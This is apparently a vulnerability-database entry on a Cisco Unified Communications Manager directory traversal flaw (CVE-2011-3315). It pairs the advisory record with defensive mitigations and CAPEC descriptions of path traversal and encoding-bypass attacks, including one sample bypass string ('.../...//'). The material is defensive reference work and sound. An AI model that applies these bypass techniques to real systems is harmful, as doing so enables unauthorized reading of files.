    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049.",
  "id": "GHSA-j2hg-jg54-wqj3",
  "modified": "2022-05-17T04:51:37Z",
  "published": "2022-05-17T04:51:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3315"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-cucm"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-uccx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.